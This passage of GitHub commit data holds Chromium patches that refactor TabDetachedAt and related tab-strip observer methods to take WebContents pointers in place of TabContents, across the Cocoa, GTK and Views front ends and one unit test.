"https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/ash/launcher/chrome_launcher_controller.h?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -236,7 +236,7 @@ class ChromeLauncherController\n \n // Notify the controller that the state of an non platform app's tabs\n // have changed,\n- void UpdateAppState(content::WebContents* tab, AppState app_state);\n+ void UpdateAppState(content::WebContents* contents, AppState app_state);\n \n // Limits application refocusing to urls that match |url| for |id|.\n void SetRefocusURLPattern(ash::LauncherID id, const GURL& url);"}<_**next**_>{"sha": "17c229f7205976bd106ce578b194972a1525a060", "filename": "chrome/browser/ui/browser.cc", "status": "modified", "additions": 11, "deletions": 10, "changes": 21, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/browser.cc", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/browser.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/browser.cc?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -1055,7 +1055,7 @@ void Browser::TabClosingAt(TabStripModel* tab_strip_model,\n SetAsDelegate(contents, NULL);\n }\n \n-void Browser::TabDetachedAt(TabContents* contents, int index) {\n+void Browser::TabDetachedAt(WebContents* contents, int index) {\n TabDetachedAtImpl(contents, index, DETACH_TYPE_DETACH);\n }\n \n@@ -1149,7 +1149,7 @@ void Browser::TabReplacedAt(TabStripModel* tab_strip_model,\n TabContents* old_contents,\n TabContents* new_contents,\n int index) {\n- TabDetachedAtImpl(old_contents, index, DETACH_TYPE_REPLACE);\n+ TabDetachedAtImpl(old_contents->web_contents(), index, DETACH_TYPE_REPLACE);\n SessionService* session_service =\n SessionServiceFactory::GetForProfile(profile_);\n if (session_service)\n@@ -2162,37 +2162,38 @@ void Browser::CloseFrame() {\n window_->Close();\n }\n \n-void Browser::TabDetachedAtImpl(TabContents* contents, int index,\n+void Browser::TabDetachedAtImpl(content::WebContents* contents,\n+ int index,\n DetachType type) {\n if (type == DETACH_TYPE_DETACH) {\n // Save the current location bar state, but only if the tab being detached\n // is the selected tab. Because saving state can conditionally revert the\n // location bar, saving the current tab's location bar state to a\n // non-selected tab can corrupt both tabs.\n- if (contents == chrome::GetActiveTabContents(this)) {\n+ if (contents == chrome::GetActiveWebContents(this)) {\n LocationBar* location_bar = window()->GetLocationBar();\n if (location_bar)\n- location_bar->SaveStateToContents(contents->web_contents());\n+ location_bar->SaveStateToContents(contents);\n }\n \n if (!tab_strip_model_->closing_all())\n SyncHistoryWithTabs(0);\n }\n \n- SetAsDelegate(contents->web_contents(), NULL);\n- RemoveScheduledUpdatesFor(contents->web_contents());\n+ SetAsDelegate(contents, NULL);\n+ RemoveScheduledUpdatesFor(contents);\n \n if (find_bar_controller_.get() && index == active_index()) {\n find_bar_controller_->ChangeWebContents(NULL);\n }\n \n // Stop observing search model changes for this tab.\n- search_delegate_->OnTabDetached(contents->web_contents());\n+ search_delegate_->OnTabDetached(contents);\n \n registrar_.Remove(this, content::NOTIFICATION_INTERSTITIAL_ATTACHED,\n- content::Source<WebContents>(contents->web_contents()));\n+ content::Source<WebContents>(contents));\n registrar_.Remove(this, content::NOTIFICATION_INTERSTITIAL_DETACHED,\n- content::Source<WebContents>(contents->web_contents()));\n+ content::Source<WebContents>(contents));\n }\n \n bool Browser::SupportsWindowFeatureImpl(WindowFeature feature,"}<_**next**_>{"sha": "6f768bc8ddd960af3f32e8672e3d9f6e48e88d26", "filename": "chrome/browser/ui/browser.h", "status": "modified", "additions": 5, "deletions": 2, "changes": 7, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/browser.h", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/browser.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/browser.h?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -433,7 +433,8 @@ class Browser : public TabStripModelObserver,\n virtual void TabClosingAt(TabStripModel* tab_strip_model,\n content::WebContents* contents,\n int index) OVERRIDE;\n- virtual void TabDetachedAt(TabContents* contents, int index) OVERRIDE;\n+ virtual void TabDetachedAt(content::WebContents* contents,\n+ int index) OVERRIDE;\n virtual void TabDeactivated(TabContents* contents) OVERRIDE;\n virtual void ActiveTabChanged(TabContents* old_contents,\n TabContents* new_contents,\n@@ -785,7 +786,9 @@ class Browser : public TabStripModelObserver,\n // after a return to the message loop.\n void CloseFrame();\n \n- void TabDetachedAtImpl(TabContents* contents, int index, DetachType type);\n+ void TabDetachedAtImpl(content::WebContents* contents,\n+ int index,\n+ DetachType type);\n \n // Shared code between Reload() and ReloadIgnoringCache().\n void ReloadInternal(WindowOpenDisposition disposition, bool ignore_cache);"}<_**next**_>{"sha": "622a324f81b7f76b70a214b6864cc46431d40e67", "filename": "chrome/browser/ui/browser_command_controller.cc", "status": "modified", "additions": 5, "deletions": 5, "changes": 10, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/browser_command_controller.cc", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/browser_command_controller.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/browser_command_controller.cc?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -718,15 +718,15 @@ void BrowserCommandController::TabInsertedAt(WebContents* contents,\n AddInterstitialObservers(contents);\n }\n \n-void BrowserCommandController::TabDetachedAt(TabContents* contents, int index) {\n+void BrowserCommandController::TabDetachedAt(WebContents* contents, int index) {\n RemoveInterstitialObservers(contents);\n }\n \n void BrowserCommandController::TabReplacedAt(TabStripModel* tab_strip_model,\n TabContents* old_contents,\n TabContents* new_contents,\n int index) {\n- RemoveInterstitialObservers(old_contents);\n+ RemoveInterstitialObservers(old_contents->web_contents());\n AddInterstitialObservers(new_contents->web_contents());\n }\n \n@@ -1172,11 +1172,11 @@ void BrowserCommandController::AddInterstitialObservers(WebContents* contents) {\n }\n \n void BrowserCommandController::RemoveInterstitialObservers(\n- TabContents* contents) {\n+ WebContents* contents) {\n registrar_.Remove(this, content::NOTIFICATION_INTERSTITIAL_ATTACHED,\n- content::Source<WebContents>(contents->web_contents()));\n+ content::Source<WebContents>(contents));\n registrar_.Remove(this, content::NOTIFICATION_INTERSTITIAL_DETACHED,\n- content::Source<WebContents>(contents->web_contents()));\n+ content::Source<WebContents>(contents));\n }\n \n BrowserWindow* BrowserCommandController::window() {"}<_**next**_>{"sha": "fc6bbbf53c536875b281025ba0c89d89d12951bf", "filename": "chrome/browser/ui/browser_command_controller.h", "status": "modified", "additions": 3, "deletions": 2, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/browser_command_controller.h", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/browser_command_controller.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/browser_command_controller.h?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -96,7 +96,8 @@ class BrowserCommandController : public CommandUpdater::CommandUpdaterDelegate,\n virtual void TabInsertedAt(content::WebContents* contents,\n int index,\n bool foreground) OVERRIDE;\n- virtual void TabDetachedAt(TabContents* contents, int index) OVERRIDE;\n+ virtual void TabDetachedAt(content::WebContents* contents,\n+ int index) OVERRIDE;\n virtual void TabReplacedAt(TabStripModel* tab_strip_model,\n TabContents* old_contents,\n TabContents* new_contents,\n@@ -161,7 +162,7 @@ class BrowserCommandController : public CommandUpdater::CommandUpdaterDelegate,\n // Add/remove observers for interstitial attachment/detachment from\n // |contents|.\n void AddInterstitialObservers(content::WebContents* contents);\n- void RemoveInterstitialObservers(TabContents* contents);\n+ void RemoveInterstitialObservers(content::WebContents* contents);\n \n inline BrowserWindow* window();\n inline Profile* profile();"}<_**next**_>{"sha": "0bd5d96396055207bb56e5756ad28417b91f816e", "filename": "chrome/browser/ui/cocoa/tabs/tab_strip_model_observer_bridge.h", "status": "modified", "additions": 2, "deletions": 1, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/cocoa/tabs/tab_strip_model_observer_bridge.h", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/cocoa/tabs/tab_strip_model_observer_bridge.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/cocoa/tabs/tab_strip_model_observer_bridge.h?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -34,7 +34,8 @@ class TabStripModelObserverBridge : public TabStripModelObserver {\n virtual void TabClosingAt(TabStripModel* tab_strip_model,\n content::WebContents* contents,\n int index) OVERRIDE;\n- virtual void TabDetachedAt(TabContents* contents, int index) OVERRIDE;\n+ virtual void TabDetachedAt(content::WebContents* contents,\n+ int index) OVERRIDE;\n virtual void ActiveTabChanged(TabContents* old_contents,\n TabContents* new_contents,\n int index,"}<_**next**_>{"sha": "c0c315c3001505844affa41af10bf77e8a8ce8eb", "filename": "chrome/browser/ui/cocoa/tabs/tab_strip_model_observer_bridge.mm", "status": "modified", "additions": 2, "deletions": 3, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/cocoa/tabs/tab_strip_model_observer_bridge.mm", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/cocoa/tabs/tab_strip_model_observer_bridge.mm", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/cocoa/tabs/tab_strip_model_observer_bridge.mm?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -52,12 +52,11 @@\n }\n }\n \n-void TabStripModelObserverBridge::TabDetachedAt(TabContents* contents,\n+void TabStripModelObserverBridge::TabDetachedAt(WebContents* contents,\n int index) {\n if ([controller_ respondsToSelector:\n @selector(tabDetachedWithContents:atIndex:)]) {\n- [controller_ tabDetachedWithContents:WebContentsOf(contents)\n- atIndex:index];\n+ [controller_ tabDetachedWithContents:contents atIndex:index];\n }\n }\n "}<_**next**_>{"sha": "e9820ab3cdea0adbb0099e4b577c38389f298693", "filename": "chrome/browser/ui/gtk/browser_window_gtk.cc", "status": "modified", "additions": 5, "deletions": 3, "changes": 8, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/gtk/browser_window_gtk.cc", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/gtk/browser_window_gtk.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/gtk/browser_window_gtk.cc?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -1204,7 +1204,7 @@ void BrowserWindowGtk::OnPreferenceChanged(PrefServiceBase* service,\n }\n }\n \n-void BrowserWindowGtk::TabDetachedAt(TabContents* contents, int index) {\n+void BrowserWindowGtk::TabDetachedAt(WebContents* contents, int index) {\n // We use index here rather than comparing |contents| because by this time\n // the model has already removed |contents| from its list, so\n // chrome::GetActiveWebContents(browser_.get()) will return NULL or something\n@@ -2321,8 +2321,10 @@ void BrowserWindowGtk::UpdateDevToolsForContents(WebContents* contents) {\n \n // Replace tab contents.\n if (devtools_window_ != new_devtools_window) {\n- if (devtools_window_)\n- devtools_container_->DetachTab(devtools_window_->tab_contents());\n+ if (devtools_window_) {\n+ devtools_container_->DetachTab(\n+ devtools_window_->tab_contents()->web_contents());\n+ }\n devtools_container_->SetTab(\n new_devtools_window ? new_devtools_window->tab_contents() : NULL);\n if (new_devtools_window) {"}<_**next**_>{"sha": "800d41e52c67ce7ede9fa6d702b9e77248b8448d", "filename": "chrome/browser/ui/gtk/browser_window_gtk.h", "status": "modified", "additions": 2, "deletions": 1, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/gtk/browser_window_gtk.h", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/gtk/browser_window_gtk.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/gtk/browser_window_gtk.h?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -188,7 +188,8 @@ class BrowserWindowGtk\n const std::string& pref_name) OVERRIDE;\n \n // Overridden from TabStripModelObserver:\n- virtual void TabDetachedAt(TabContents* contents, int index) OVERRIDE;\n+ virtual void TabDetachedAt(content::WebContents* contents,\n+ int index) OVERRIDE;\n virtual void ActiveTabChanged(TabContents* old_contents,\n TabContents* new_contents,\n int index,"}<_**next**_>{"sha": "4de25a9abe2fd1ed0f471690cdbaf5cfc9324dc8", "filename": "chrome/browser/ui/gtk/tab_contents_container_gtk.cc", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/gtk/tab_contents_container_gtk.cc", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/gtk/tab_contents_container_gtk.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/gtk/tab_contents_container_gtk.cc?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -132,8 +132,8 @@ void TabContentsContainerGtk::HideTab(TabContents* tab) {\n content::Source<WebContents>(tab->web_contents()));\n }\n \n-void TabContentsContainerGtk::DetachTab(TabContents* tab) {\n- gfx::NativeView widget = tab->web_contents()->GetNativeView();\n+void TabContentsContainerGtk::DetachTab(WebContents* tab) {\n+ gfx::NativeView widget = tab->GetNativeView();\n \n // It is possible to detach an unrealized, unparented WebContents if you\n // slow things down enough in valgrind. Might happen in the real world, too."}<_**next**_>{"sha": "6ba8f2d293e6875e7b9e341e2cdad3c89fea6eee", "filename": "chrome/browser/ui/gtk/tab_contents_container_gtk.h", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/gtk/tab_contents_container_gtk.h", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/gtk/tab_contents_container_gtk.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/gtk/tab_contents_container_gtk.h?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -43,7 +43,7 @@ class TabContentsContainerGtk : public content::NotificationObserver,\n TabContents* GetVisibleTab() const { return preview_ ? preview_ : tab_; }\n \n // Remove the tab from the hierarchy.\n- void DetachTab(TabContents* tab);\n+ void DetachTab(content::WebContents* tab);\n \n // content::NotificationObserver implementation.\n virtual void Observe(int type,"}<_**next**_>{"sha": "cb59ccf372b872aabaaa84fa8566376e1f8b535b", "filename": "chrome/browser/ui/gtk/tabs/tab_strip_gtk.cc", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/gtk/tabs/tab_strip_gtk.cc", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/gtk/tabs/tab_strip_gtk.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/gtk/tabs/tab_strip_gtk.cc?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -1038,9 +1038,9 @@ void TabStripGtk::TabInsertedAt(WebContents* contents,\n ReStack();\n }\n \n-void TabStripGtk::TabDetachedAt(TabContents* contents, int index) {\n+void TabStripGtk::TabDetachedAt(WebContents* contents, int index) {\n GenerateIdealBounds();\n- StartRemoveTabAnimation(index, contents->web_contents());\n+ StartRemoveTabAnimation(index, contents);\n // Have to do this _after_ calling StartRemoveTabAnimation, so that any\n // previous remove is completed fully and index is valid in sync with the\n // model index."}<_**next**_>{"sha": "309a2024bff567e36354785acaa64df922f90900", "filename": "chrome/browser/ui/gtk/tabs/tab_strip_gtk.h", "status": "modified", "additions": 2, "deletions": 1, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/gtk/tabs/tab_strip_gtk.h", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/gtk/tabs/tab_strip_gtk.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/gtk/tabs/tab_strip_gtk.h?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -112,7 +112,8 @@ class TabStripGtk : public TabStripModelObserver,\n virtual void TabInsertedAt(content::WebContents* contents,\n int index,\n bool foreground) OVERRIDE;\n- virtual void TabDetachedAt(TabContents* contents, int index) OVERRIDE;\n+ virtual void TabDetachedAt(content::WebContents* contents,\n+ int index) OVERRIDE;\n virtual void TabMoved(TabContents* contents,\n int from_index,\n int to_index) OVERRIDE;"}<_**next**_>{"sha": "a14e255837b718afea33e1b63346f0968509080d", "filename": "chrome/browser/ui/tabs/tab_strip_model.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/tabs/tab_strip_model.cc", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/tabs/tab_strip_model.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/tabs/tab_strip_model.cc?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -241,7 +241,7 @@ TabContents* TabStripModel::DetachTabContentsAt(int index) {\n if (empty())\n closing_all_ = true;\n FOR_EACH_OBSERVER(TabStripModelObserver, observers_,\n- TabDetachedAt(removed_contents, index));\n+ TabDetachedAt(removed_contents->web_contents(), index));\n if (empty()) {\n selection_model_.Clear();\n // TabDetachedAt() might unregister observers, so send |TabStripEmpty()| in"}<_**next**_>{"sha": "bb1c13f47c20d12923c86bc2b8f1cf81aa5aa81e", "filename": "chrome/browser/ui/tabs/tab_strip_model_observer.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/tabs/tab_strip_model_observer.cc", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/tabs/tab_strip_model_observer.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/tabs/tab_strip_model_observer.cc?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -16,7 +16,7 @@ void TabStripModelObserver::TabClosingAt(TabStripModel* tab_strip_model,\n int index) {\n }\n \n-void TabStripModelObserver::TabDetachedAt(TabContents* contents,\n+void TabStripModelObserver::TabDetachedAt(WebContents* contents,\n int index) {\n }\n "}<_**next**_>{"sha": "ceda97e2bc41ff6edbde2a423e64f9c1be6f1c6e", "filename": "chrome/browser/ui/tabs/tab_strip_model_observer.h", "status": "modified", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/tabs/tab_strip_model_observer.h", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/tabs/tab_strip_model_observer.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/tabs/tab_strip_model_observer.h?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -55,11 +55,11 @@ class TabStripModelObserver {\n content::WebContents* contents,\n int index);\n \n- // The specified TabContents at |index| is being detached, perhaps to\n+ // The specified WebContents at |index| is being detached, perhaps to\n // be inserted in another TabStripModel. The implementer should take whatever\n- // action is necessary to deal with the TabContents no longer being\n+ // action is necessary to deal with the WebContents no longer being\n // present.\n- virtual void TabDetachedAt(TabContents* contents, int index);\n+ virtual void TabDetachedAt(content::WebContents* contents, int index);\n \n // The active TabContents is about to change from |old_contents|.\n // This gives observers a chance to prepare for an impending switch before it"}<_**next**_>{"sha": "81b1969460a6951a6a8288612541c82f2473f0af", "filename": "chrome/browser/ui/tabs/tab_strip_model_unittest.cc", "status": "modified", "additions": 2, "deletions": 3, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/tabs/tab_strip_model_unittest.cc", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/tabs/tab_strip_model_unittest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/tabs/tab_strip_model_unittest.cc?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -306,9 +306,8 @@ class MockTabStripModelObserver : public TabStripModelObserver {\n int index) OVERRIDE {\n states_.push_back(State(contents, index, CLOSE));\n }\n- virtual void TabDetachedAt(TabContents* contents, int index) OVERRIDE {\n- states_.push_back(\n- State(contents ? contents->web_contents() : NULL, index, DETACH));\n+ virtual void TabDetachedAt(WebContents* contents, int index) OVERRIDE {\n+ states_.push_back(State(contents, index, DETACH));\n }\n virtual void TabDeactivated(TabContents* contents) OVERRIDE {\n states_.push_back(State(contents ? contents->web_contents() : NULL,"}<_**next**_>{"sha": "3768f734c747178e8442ccc0834141cbd809edae", "filename": "chrome/browser/ui/unload_controller.cc", "status": "modified", "additions": 8, "deletions": 8, "changes": 16, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/unload_controller.cc", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/unload_controller.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/unload_controller.cc?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -120,15 +120,16 @@ void UnloadController::TabInsertedAt(content::WebContents* contents,\n TabAttachedImpl(contents);\n }\n \n-void UnloadController::TabDetachedAt(TabContents* contents, int index) {\n+void UnloadController::TabDetachedAt(content::WebContents* contents,\n+ int index) {\n TabDetachedImpl(contents);\n }\n \n void UnloadController::TabReplacedAt(TabStripModel* tab_strip_model,\n TabContents* old_contents,\n TabContents* new_contents,\n int index) {\n- TabDetachedImpl(old_contents);\n+ TabDetachedImpl(old_contents->web_contents());\n TabAttachedImpl(new_contents->web_contents());\n }\n \n@@ -150,13 +151,12 @@ void UnloadController::TabAttachedImpl(content::WebContents* contents) {\n content::Source<content::WebContents>(contents));\n }\n \n-void UnloadController::TabDetachedImpl(TabContents* contents) {\n+void UnloadController::TabDetachedImpl(content::WebContents* contents) {\n if (is_attempting_to_close_browser_)\n- ClearUnloadState(contents->web_contents(), false);\n- registrar_.Remove(\n- this,\n- content::NOTIFICATION_WEB_CONTENTS_DISCONNECTED,\n- content::Source<content::WebContents>(contents->web_contents()));\n+ ClearUnloadState(contents, false);\n+ registrar_.Remove(this,\n+ content::NOTIFICATION_WEB_CONTENTS_DISCONNECTED,\n+ content::Source<content::WebContents>(contents));\n }\n \n void UnloadController::ProcessPendingTabs() {"}<_**next**_>{"sha": "512217a96b5e3aadd01c7340b86ddfb97c7d88d0", "filename": "chrome/browser/ui/unload_controller.h", "status": "modified", "additions": 3, "deletions": 2, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/unload_controller.h", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/unload_controller.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/unload_controller.h?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -74,15 +74,16 @@ class UnloadController : public content::NotificationObserver,\n virtual void TabInsertedAt(content::WebContents* contents,\n int index,\n bool foreground) OVERRIDE;\n- virtual void TabDetachedAt(TabContents* contents, int index) OVERRIDE;\n+ virtual void TabDetachedAt(content::WebContents* contents,\n+ int index) OVERRIDE;\n virtual void TabReplacedAt(TabStripModel* tab_strip_model,\n TabContents* old_contents,\n TabContents* new_contents,\n int index) OVERRIDE;\n virtual void TabStripEmpty() OVERRIDE;\n \n void TabAttachedImpl(content::WebContents* contents);\n- void TabDetachedImpl(TabContents* contents);\n+ void TabDetachedImpl(content::WebContents* contents);\n \n // Processes the next tab that needs it's beforeunload/unload event fired.\n void ProcessPendingTabs();"}<_**next**_>{"sha": "644b3df3b388ac50418d26beecfab9311704c531", "filename": "chrome/browser/ui/views/frame/browser_view.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/views/frame/browser_view.cc", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/views/frame/browser_view.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/views/frame/browser_view.cc?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -1401,7 +1401,7 @@ ToolbarView* BrowserView::GetToolbarView() const {\n ///////////////////////////////////////////////////////////////////////////////\n // BrowserView, TabStripModelObserver implementation:\n \n-void BrowserView::TabDetachedAt(TabContents* contents, int index) {\n+void BrowserView::TabDetachedAt(WebContents* contents, int index) {\n // We use index here rather than comparing |contents| because by this time\n // the model has already removed |contents| from its list, so\n // browser_->GetActiveWebContents() will return NULL or something else."}<_**next**_>{"sha": "7936f04c9fa8801251e25d3b5027b0ebe5a18a7a", "filename": "chrome/browser/ui/views/frame/browser_view.h", "status": "modified", "additions": 2, "deletions": 1, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/views/frame/browser_view.h", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/views/frame/browser_view.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/views/frame/browser_view.h?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -351,7 +351,8 @@ class BrowserView : public BrowserWindow,\n virtual ToolbarView* GetToolbarView() const OVERRIDE;\n \n // Overridden from TabStripModelObserver:\n- virtual void TabDetachedAt(TabContents* contents, int index) OVERRIDE;\n+ virtual void TabDetachedAt(content::WebContents* contents,\n+ int index) OVERRIDE;\n virtual void TabDeactivated(TabContents* contents) OVERRIDE;\n virtual void ActiveTabChanged(TabContents* old_contents,\n TabContents* new_contents,"}<_**next**_>{"sha": "df24e5c213e2522bce73ada87c7a41b2351900c4", "filename": "chrome/browser/ui/views/tabs/browser_tab_strip_controller.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/views/tabs/browser_tab_strip_controller.cc", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/views/tabs/browser_tab_strip_controller.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/views/tabs/browser_tab_strip_controller.cc?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -372,7 +372,7 @@ void BrowserTabStripController::TabInsertedAt(WebContents* contents,\n AddTab(contents, model_index, is_active);\n }\n \n-void BrowserTabStripController::TabDetachedAt(TabContents* contents,\n+void BrowserTabStripController::TabDetachedAt(WebContents* contents,\n int model_index) {\n // Cancel any pending tab transition.\n hover_tab_selector_.CancelTabTransition();"}<_**next**_>{"sha": "bfd4e9d196e03dfbd6ceffe95c6ca9b015d8e95f", "filename": "chrome/browser/ui/views/tabs/browser_tab_strip_controller.h", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/views/tabs/browser_tab_strip_controller.h", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/views/tabs/browser_tab_strip_controller.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/views/tabs/browser_tab_strip_controller.h?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -74,7 +74,7 @@ class BrowserTabStripController : public TabStripController,\n virtual void TabInsertedAt(content::WebContents* contents,\n int model_index,\n bool is_active) OVERRIDE;\n- virtual void TabDetachedAt(TabContents* contents,\n+ virtual void TabDetachedAt(content::WebContents* contents,\n int model_index) OVERRIDE;\n virtual void TabSelectionChanged(\n TabStripModel* tab_strip_model,"}
|
void BrowserView::ShowChromeToMobileBubble() {
GetLocationBarView()->ShowChromeToMobileBubble();
}
|
